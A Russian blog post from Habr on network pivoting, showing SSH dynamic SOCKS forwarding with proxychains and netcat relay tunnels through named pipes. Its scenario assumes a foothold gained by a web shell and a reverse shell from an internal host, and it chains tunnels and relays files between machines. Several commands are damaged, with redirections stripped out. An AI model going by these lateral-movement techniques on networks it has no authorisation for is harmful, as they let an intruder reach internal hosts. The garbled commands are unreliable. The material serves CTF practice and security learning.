[Из песочницы] Pivoting или проброс портов

Наткнулся на статью «SSH-туннели — пробрасываем порт» и захотелось ее дополнить.

Итак, какие еще способы тунеллирования есть:

1. Динамический доступ через SSH


Допустим мы имеем SSH доступ в сеть, и хотим получить доступ к другим хостам/портам в этой сети. Способ уже описанный в вышеупомянутой статье предполагает знание хоста: порта куда мы хотим получить доступ. Но что если мы не знаем этого?

Тут может пригодиться динамический доступ через SSH. Для его конфигурации используется опция ssh -D.

ssh -D 127:0.0.1:2222 user@remotehost


После подключения вы получите динамический socks4 прокси-сервер, слушающий на своей машине на порту 2222 и предоставляющий доступ к удаленной сети.

Как воспользоваться этим доступом? Один из вариантов — использовать proxychains.


Второй вариант — прописать адрес этого прокси сервера 127.0.0.1:2222 прямо у себя в браузере. В результате мы сможем ходить на любые веб-сервера в удаленной подсети.

Очень важно понимать что ProxyChains не зря имеют Chains (переводится как «цепи» или «цепочки») в своем названии. Это значит, что можно выстраивать цепочки из прокси и таким образом строить туннели через множество подсетей. Как это сделать — предлагаю изучить самостоятельно.

2. Туннели NetCat (nc)


Практика показывает, что многие просто не знают об этом функционале NetCat. Итак, представим гипотетическую ситуацию:

  • У нас есть доступ в удаленную посдеть на один компьютер (например при помощи web-shell). Будем называть этот компьютер «промежуточый компьютер»;
  • Есть доступ к netcat на этом компьютере;
  • Можем с этого компьютера подключаться при помощи Netcat на свой компьютер (но не наоборот — т.е. у нас т.н. reverse shell);
  • Имеется горячее желание подключиться к какому-то серверу в удаленной сети, например, по протоколу ssh на порту 22, а ssh клиента на промежуточном компьютере нет и поставить его нельзя.


Эта задача легко решается при помощи netcat туннелей. Для этого на своей машине запускаем следующие команды:

mknod backpipe -p 
nc -lvp 1234 0backpipe


При этом нужно иметь права на запись в текущую директорию, чтобы создать файл backpipe, и удостовериться, что другие сервисы не слушают на портах 1234 и 8443.

На промежуточной машине делаем:

mknod backpipe -p
nc адрес_вашего_компьютера 8443 0backpipe


При этом нужно иметь права на запись в текущую директорию чтобы создать файл backpipe. Дальше на своей машине делаем ssh -p 1234 user@127.0.0.1 и получаем прямой ssh доступ на удаленный компьютер.

В качестве слегка альтернативных комманд можно использовать:

mkfifo backpipe (аналог mknod -p)
nc -lvp 1234 0


Здесь важно понимать, что netcat-клиент и netcat-сервер можно комбинировать в любых сочетаниях, а цепочку выстраивать любой длины. Например, вариант когда мы имеем прямой доступ на «промежуточный компьютер».

Не забываем создавать backpipe на каждой машине!

На своей машине:

nc -lp 1234 0backpipe


На промежуточном компьютере 1:

nc -lp 443 0backpipe


На промежуточном компьютере n:

nc -lp 443 0backpipe


На промежуточном компьютере n+1:

nc -lp 443 0backpipe


Также можно использовать любые удобные вам порты и имена пайпов.

Аналогичным образом можно передавать файлы с машины на машину.

Например. На своей машине:

nc -lp 443 >file.txt


На машине, где лежит файл:

nc -lp 443 


На промежуточной машине:

nc адрес_вашего_компьютера 443 | nc адрес компьютера_где_лежит_файл 443


В данном случае создавать backpipe не нужно, т.к. мы не поддерживаем сессию, а просто передаем 1 файл в рамках одной сессии.

Пожалуй, на этом все. Мне это очень помогает при прохождении различных CTF, надеюсь, и вам пригодится.

© Habrahabr.ru